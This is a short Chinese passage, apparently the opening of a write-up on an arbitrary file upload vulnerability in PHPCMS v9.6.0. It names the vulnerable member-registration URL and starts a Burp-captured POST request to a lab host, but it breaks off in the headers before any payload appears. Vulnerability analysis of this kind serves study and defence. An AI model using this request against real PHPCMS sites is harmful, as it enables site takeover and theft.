phpcmsv9.0任意文件上传漏洞解析

漏洞存在地址: burp抓包 POST /phpcms_v9.6.0_UTF8/install_package/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1 Host: 192.168.0.109 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/